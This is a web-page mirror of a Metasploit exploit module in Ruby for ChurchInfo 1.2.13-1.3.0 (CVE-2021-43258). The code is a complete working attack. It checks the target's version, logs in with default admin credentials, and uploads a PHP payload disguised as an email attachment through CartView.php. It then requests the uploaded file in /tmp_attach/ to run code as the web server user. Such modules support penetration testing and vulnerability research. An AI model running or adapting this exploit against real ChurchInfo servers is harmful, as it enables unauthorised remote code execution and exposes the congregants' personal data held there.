CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/churchinfo_upload_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
18
'Description' => %q{
19
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
20
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
21
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
22
then browsing to the location of the uploaded PHP file on the web server, arbitrary code
23
execution as the web daemon user (e.g. www-data) can be achieved.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [ 'm4lwhere <[email protected]>' ],
27
'References' => [
28
['URL', 'http://www.churchdb.org/'],
29
['URL', 'http://sourceforge.net/projects/churchinfo/'],
30
['CVE', '2021-43258']
31
],
32
'Platform' => 'php',
33
'Privileged' => false,
34
'Arch' => ARCH_PHP,
35
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
36
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
37
'DefaultTarget' => 0,
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'Reliability' => [REPEATABLE_SESSION],
41
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
42
}
43
)
44
)
45
# Set the email subject and message if interested
46
register_options(
47
[
48
Opt::RPORT(80),
49
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
50
OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
51
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
52
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
53
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
54
]
55
)
56
end
57
58
def check
59
if datastore['SSL'] == true
60
proto_var = 'https'
61
else
62
proto_var = 'http'
63
end
64
65
res = send_request_cgi(
66
'uri' => normalize_uri(target_uri.path, 'Default.php'),
67
'method' => 'GET',
68
'vars_get' => {
69
'Proto' => proto_var,
70
'Path' => target_uri.path
71
}
72
)
73
74
unless res
75
return CheckCode::Unknown('Target did not respond to a request to its login page!')
76
end
77
78
# Check if page title is the one that ChurchInfo uses for its login page.
79
if res.body.match(%r{<title>ChurchInfo: Login</title>})
80
print_good('Target is ChurchInfo!')
81
else
82
return CheckCode::Safe('Target is not running ChurchInfo!')
83
end
84
85
# Check what version the target is running using the upgrade pages.
86
res = send_request_cgi(
87
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
88
'method' => 'GET'
89
)
90
91
if res && (res.code == 500 || res.code == 200)
92
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
93
end
94
95
res = send_request_cgi(
96
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
97
'method' => 'GET'
98
)
99
100
if res && (res.code == 500 || res.code == 200)
101
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
102
end
103
104
res = send_request_cgi(
105
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
106
'method' => 'GET'
107
)
108
109
if res && (res.code == 500 || res.code == 200)
110
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
111
else
112
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
113
end
114
end
115
116
#
117
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.
118
# Adding items to the cart is required for the server-side code to accept the upload.
119
#
120
def exploit
121
# Need to grab the PHP session cookie value first to pass to application
122
vprint_status('Gathering PHP session cookie')
123
if datastore['SSL'] == true
124
vprint_status('SSL is true, changing protocol to HTTPS')
125
proto_var = 'https'
126
else
127
vprint_status('SSL is false, leaving protocol as HTTP')
128
proto_var = 'http'
129
end
130
res = send_request_cgi(
131
'uri' => normalize_uri(target_uri.path, 'Default.php'),
132
'method' => 'GET',
133
'vars_get' => {
134
'Proto' => proto_var,
135
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
136
},
137
'keep_cookies' => true
138
)
139
140
# Ensure we get a 200 from the application login page
141
unless res && res.code == 200
142
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
143
end
144
145
# Check that we actually are targeting a ChurchInfo server.
146
unless res.body.match(%r{<title>ChurchInfo: Login</title>})
147
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
148
end
149
150
# Grab our assigned session cookie
151
cookie = res.get_cookies
152
vprint_good("PHP session cookie is #{cookie}")
153
vprint_status('Attempting login')
154
155
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
156
res = send_request_cgi(
157
'uri' => normalize_uri(target_uri.path, 'Default.php'),
158
'method' => 'POST',
159
'vars_post' => {
160
'User' => datastore['USERNAME'],
161
'Password' => datastore['PASSWORD'],
162
'sURLPath' => datastore['TARGETURI']
163
}
164
)
165
166
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
167
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
168
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
169
end
170
vprint_good("Location header is #{res.headers['Location']}")
171
print_good("Logged into application as #{datastore['USERNAME']}")
172
vprint_status('Attempting exploit')
173
174
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.
175
print_status('Navigating to add items to cart')
176
res = send_request_cgi(
177
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
178
'method' => 'GET',
179
'vars_get' => {
180
'mode' => 'person',
181
'AddAllToCart' => 'Add+to+Cart'
182
}
183
)
184
185
# Need to check that items were successfully added to the cart
186
# Here we're looking through html for the version string, similar to:
187
# Items in Cart: 2
188
unless res && res.code == 200
189
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
190
end
191
cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
192
unless cart_items
193
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
194
end
195
if cart_items['cart'].to_i < 1
196
print_error('No items in cart detected')
197
fail_with(Failure::UnexpectedReply,
198
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
199
end
200
print_good("Items in Cart: #{cart_items}")
201
202
# Uploading exploit as temporary email attachment
203
print_good('Uploading exploit via temp email attachment')
204
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
205
vprint_status("Payload name is #{payload_name}")
206
207
# Create the POST payload with required parameters to be parsed by the server
208
post_data = Rex::MIME::Message.new
209
post_data.add_part(payload.encoded, 'application/octet-stream', nil,
210
"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
211
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
212
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
213
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
214
file = post_data.to_s
215
file.strip!
216
res = send_request_cgi(
217
'uri' => normalize_uri(target_uri.path, 'CartView.php'),
218
'method' => 'POST',
219
'data' => file,
220
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
221
)
222
223
# Ensure that we get a 200 and the intended payload was
224
# successfully uploaded and attached to the draft email.
225
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
226
fail_with(Failure::Unknown, 'Failed to upload the payload.')
227
end
228
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
229
230
# Have our payload deleted after we exploit
231
register_file_for_cleanup(payload_name)
232
233
# Make a GET request to the PHP file that was uploaded to execute it on the target server.
234
print_good('Executing payload with GET request')
235
send_request_cgi(
236
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
237
'method' => 'GET'
238
)
239
rescue ::Rex::ConnectionError
240
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
241
end
242
end
243
244